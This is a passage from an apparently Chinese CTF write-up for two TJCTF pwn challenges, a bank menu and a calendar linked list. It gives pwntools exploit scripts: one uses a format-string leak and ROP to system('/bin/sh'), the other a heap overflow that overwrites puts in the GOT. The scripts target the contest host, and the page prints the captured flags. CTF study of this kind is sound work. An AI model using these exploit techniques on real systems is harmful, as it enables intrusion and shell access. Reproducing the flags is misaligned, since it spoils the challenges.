        } else if (strcmp(inputBuffer, "exit\n") == 0) {
            break;
        } else {
            puts("Please enter a valid option");
        }
    }
    return 0;
}

两个菜单里都有格式化字符串漏洞。而且很长,直接改ROP

from pwn import *
context(arch='amd64', log_level='debug')


def sss(v):
    p.sendlineafter(b"What would you like to do? (view balance|deposit|withdraw|transfer|exit) ", b'deposit')
    p.sendlineafter(b"Enter amount: ", v)

#p = process('./chall')
p = remote('tjc.tf', 31363)

stack = int(p.recvuntil(b',', drop=True),16) +0x418

sss(b"%143$p")
libc_base = int(p.recvline(),16) - 0x2a1ca
print(f"{libc_base = :x}")

pop_rdi = libc_base + 0x000000000010f75b # pop rdi ; ret
system = libc_base + 0x58750
bin_sh = libc_base + 0x1cb42f

sss(fmtstr_payload(12,{stack: pop_rdi+1, stack+8:pop_rdi, stack+0x10:bin_sh, stack+0x18:system}))

p.sendlineafter(b"What would you like to do? (view balance|deposit|withdraw|transfer|exit) ", b'exit')

p.interactive()
#tjctf{sys_c4ll3d_l1nux_294835}

linked

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <inttypes.h>
#include <stdbool.h>

struct event {
    int time;
    char name[128];
    struct event *next;
};

struct eventList {
    int size;
    struct event *head;
};

void displayEvents(struct eventList *events) {
    puts("Calendar events:");

    struct event *cur = events->head;
    for (int i = 0; i < events->size; i++) {
        if (cur->time == 0) {
            break;
        }
        printf("%u:00 - %s\n", cur->time, cur->name);
        cur = cur->next;
    }
    printf("\n\n");
}

void inpcpy(char *dst, char *src) {
    int ind = 0;
    while (src[ind] != '\n') {
        dst[ind] = src[ind];
        ind++;
    }
}

int main() {
    char inputBuffer[256] = {'\0'};
    struct eventList events;
    events.head = malloc(sizeof(struct event));
    events.head->next = NULL;
    events.head->time = 0;
    events.size = 1;

    setbuf(stdout, NULL);

    for (int i = 0; i < 2; i++) {
        puts("Add an event to your calendar:");

        struct event *cur = events.head;
        while (cur->next != NULL) {
            cur = cur->next;
        }
        cur->next = malloc(sizeof(struct event));
        cur->next->next = NULL;
        cur->next->time = 0;
        events.size++;

        printf("Event time? (1-24) ");
        fgets(inputBuffer, sizeof(inputBuffer), stdin);
        int t = atoi(inputBuffer);
        if (t == 0) {
            free(cur->next);
            cur->next = NULL;
            events.size--;
            printf("Invalid integer: %s\n", inputBuffer);
            continue;
        }
        cur->time = t;

        printf("Event name? ");
        fgets(inputBuffer, sizeof(inputBuffer), stdin);
        inpcpy(cur->name, inputBuffer);

        displayEvents(&events);
    }
    
    puts("2 events and still couldn't get the flag?");
    puts("smhmh");
    puts("just run like...");
    puts("cat flag.txt");
    puts("or something like that");
    return 0;
}

通过写链头块溢出到后边的块,这样修改指针就能得到libc,由于这个结构要求time !=0 并且输出是从+4开始,所以这里指针指到got.puts-3的位置,用尾字节当time,由于这尾字节是固定的,可以直接通过前5字节得到libc,再修改puts 为 system

from pwn import *
context(arch='amd64', log_level='debug')

libc = ELF('./libc.so.6')
elf = ELF('./chall')

#p = process('./chall')
p = remote('tjc.tf', 31509)

p.sendlineafter(b"Event time? (1-24) ", b'1')
p.sendlineafter(b"Event name? ", b'A'*0x84+ p64(0x404005))

p.recvuntil(b'3758096384:00 - ') #xxxe0
libc.address = u64(b'\xe0'+p.recv(5)+b'\0\0') - libc.sym['puts']


p.sendlineafter(b"Event time? (1-24) ", b'1342177280') #xxx50
p.sendlineafter(b"Event name? ", p64(libc.sym['system'])[1:])

p.interactive()
#tjctf{i_h0pe_my_tre3s_ar3nt_b4d_too}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2406796.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C# winform教程(二)----checkbox

一、作用 提供一个用户选择或者不选的状态&#xff0c;这是一个可以多选的控件。 二、属性 其实功能大差不差&#xff0c;除了特殊的几个外&#xff0c;与button基本相同&#xff0c;所有说几个独有的 checkbox属性 名称内容含义appearance控件外观可以变成按钮形状checkali…

pgsql:还原数据库后出现重复序列导致“more than one owned sequence found“报错问题的解决

问题&#xff1a; pgsql数据库通过备份数据库文件进行还原时&#xff0c;如果表中有自增序列&#xff0c;还原后可能会出现重复的序列&#xff0c;此时若向表中插入新行时会出现“more than one owned sequence found”的报错提示。 点击菜单“其它”-》“序列”&#xff0c;…

客户案例 | 短视频点播企业海外视频加速与成本优化:MediaPackage+Cloudfront 技术重构实践

01技术背景与业务挑战 某短视频点播企业深耕国内用户市场&#xff0c;但其后台应用系统部署于东南亚印尼 IDC 机房。 随着业务规模扩大&#xff0c;传统架构已较难满足当前企业发展的需求&#xff0c;企业面临着三重挑战&#xff1a; ① 业务&#xff1a;国内用户访问海外服…

CSS3相关知识点

CSS3相关知识点 CSS3私有前缀私有前缀私有前缀存在的意义常见浏览器的私有前缀 CSS3基本语法CSS3 新增长度单位CSS3 新增颜色设置方式CSS3 新增选择器CSS3 新增盒模型相关属性box-sizing 怪异盒模型resize调整盒子大小box-shadow 盒子阴影opacity 不透明度 CSS3 新增背景属性ba…

【免费数据】2005-2019年我国272个地级市的旅游竞争力多指标数据(33个指标)

旅游业是一个城市的重要产业构成。旅游竞争力是一个城市竞争力的重要构成部分。一个城市的旅游竞争力反映了其在旅游市场竞争中的比较优势。 今日我们分享的是2005-2019年我国272个地级市的旅游竞争力多指标数据&#xff01;该数据集源自2025年4月发表于《地理学报》的论文成果…

相关类相关的可视化图像总结

目录 一、散点图 二、气泡图 三、相关图 四、热力图 五、二维密度图 六、多模态二维密度图 七、雷达图 八、桑基图 九、总结 一、散点图 特点 通过点的位置展示两个连续变量之间的关系&#xff0c;可直观判断线性相关、非线性相关或无相关关系&#xff0c;点的分布密…

海云安高敏捷信创白盒SCAP入选《中国网络安全细分领域产品名录》

近日&#xff0c;嘶吼安全产业研究院发布《中国网络安全细分领域产品名录》&#xff0c;海云安高敏捷信创白盒&#xff08;SCAP&#xff09;成功入选软件供应链安全领域产品名录。 在数字化转型加速的今天&#xff0c;网络安全已成为企业生存与发展的核心基石&#xff0c;为了解…

解析“道作为序位生成器”的核心原理

解析“道作为序位生成器”的核心原理 以下完整展开道函数的零点调控机制&#xff0c;重点解析"道作为序位生成器"的核心原理与实现框架&#xff1a; 一、道函数的零点调控机制 1. 道作为序位生成器 道在认知坐标系$(x_{\text{物}}, y_{\text{意}}, z_{\text{文}}…

基于开源AI智能名片链动2 + 1模式S2B2C商城小程序的沉浸式体验营销研究

摘要&#xff1a;在消费市场竞争日益激烈的当下&#xff0c;传统体验营销方式存在诸多局限。本文聚焦开源AI智能名片链动2 1模式S2B2C商城小程序&#xff0c;探讨其在沉浸式体验营销中的应用。通过对比传统品鉴、工厂参观等初级体验方式&#xff0c;分析沉浸式体验的优势与价值…

对象回调初步研究

_OBJECT_TYPE结构分析 在介绍什么是对象回调前&#xff0c;首先要熟悉下结构 以我们上篇线程回调介绍过的导出的PsProcessType 结构为例&#xff0c;用_OBJECT_TYPE这个结构来解析它&#xff0c;0x80处就是今天要介绍的回调链表&#xff0c;但是先不着急&#xff0c;先把目光…

Java后端检查空条件查询

通过抛出运行异常&#xff1a;throw new RuntimeException("请输入查询条件&#xff01;");BranchWarehouseServiceImpl.java // 查询试剂交易&#xff08;入库/出库&#xff09;记录Overridepublic List<BranchWarehouseTransactions> queryForReagent(Branch…

PH热榜 | 2025-06-08

1. Thiings 标语&#xff1a;一套超过1900个免费AI生成的3D图标集合 介绍&#xff1a;Thiings是一个不断扩展的免费AI生成3D图标库&#xff0c;目前已有超过1900个图标。你可以按照主题浏览&#xff0c;生成自己的图标&#xff0c;或者下载整个图标集。所有图标都可以在个人或…

C++--string的模拟实现

一,引言 string的模拟实现是只对string对象中给的主要功能经行模拟实现&#xff0c;其目的是加强对string的底层了解&#xff0c;以便于在以后的学习或者工作中更加熟练的使用string。本文中的代码仅供参考并不唯一。 二,默认成员函数 string主要有三个成员变量&#xff0c;…

聚六亚甲基单胍盐酸盐市场深度解析:现状、挑战与机遇

根据 QYResearch 发布的市场报告显示&#xff0c;全球市场规模预计在 2031 年达到 9848 万美元&#xff0c;2025 - 2031 年期间年复合增长率&#xff08;CAGR&#xff09;为 3.7%。在竞争格局上&#xff0c;市场集中度较高&#xff0c;2024 年全球前十强厂商占据约 74.0% 的市场…

【iOS】 Block再学习

iOS Block再学习 文章目录 iOS Block再学习前言Block的三种类型__ NSGlobalBlock____ NSMallocBlock____ NSStackBlock__小结 Block底层分析Block的结构捕获自由变量捕获全局(静态)变量捕获静态变量__block修饰符forwarding指针 Block的copy时机block作为函数返回值将block赋给…

Mysql故障排插与环境优化

前置知识点 最上层是一些客户端和连接服务&#xff0c;包含本 sock 通信和大多数jiyukehuduan/服务端工具实现的TCP/IP通信。主要完成一些简介处理、授权认证、及相关的安全方案等。在该层上引入了线程池的概念&#xff0c;为通过安全认证接入的客户端提供线程。同样在该层上可…

STM32标准库-ADC数模转换器

文章目录 一、ADC1.1简介1. 2逐次逼近型ADC1.3ADC框图1.4ADC基本结构1.4.1 信号 “上车点”&#xff1a;输入模块&#xff08;GPIO、温度、V_REFINT&#xff09;1.4.2 信号 “调度站”&#xff1a;多路开关1.4.3 信号 “加工厂”&#xff1a;ADC 转换器&#xff08;规则组 注入…

何谓AI编程【02】AI编程官网以优雅草星云智控为例建设实践-完善顶部-建立各项子页-调整排版-优雅草卓伊凡

何谓AI编程【02】AI编程官网以优雅草星云智控为例建设实践-完善顶部-建立各项子页-调整排版-优雅草卓伊凡 背景 我们以建设星云智控官网来做AI编程实践&#xff0c;很多人以为AI已经强大到不需要程序员了&#xff0c;其实不是&#xff0c;AI更加需要程序员&#xff0c;普通人…

【若依】框架项目部署笔记

参考【SpringBoot】【Vue】项目部署_no main manifest attribute, in springboot-0.0.1-sn-CSDN博客 多一个redis安装 准备工作&#xff1a; 压缩包下载&#xff1a;http://download.redis.io/releases 1. 上传压缩包&#xff0c;并进入压缩包所在目录&#xff0c;解压到目标…

2025年- H71-Lc179--39.组合总和(回溯,组合)--Java版

1.题目描述 2.思路 当前的元素可以重复使用。 &#xff08;1&#xff09;确定回溯算法函数的参数和返回值&#xff08;一般是void类型&#xff09; &#xff08;2&#xff09;因为是用递归实现的&#xff0c;所以我们要确定终止条件 &#xff08;3&#xff09;单层搜索逻辑 二…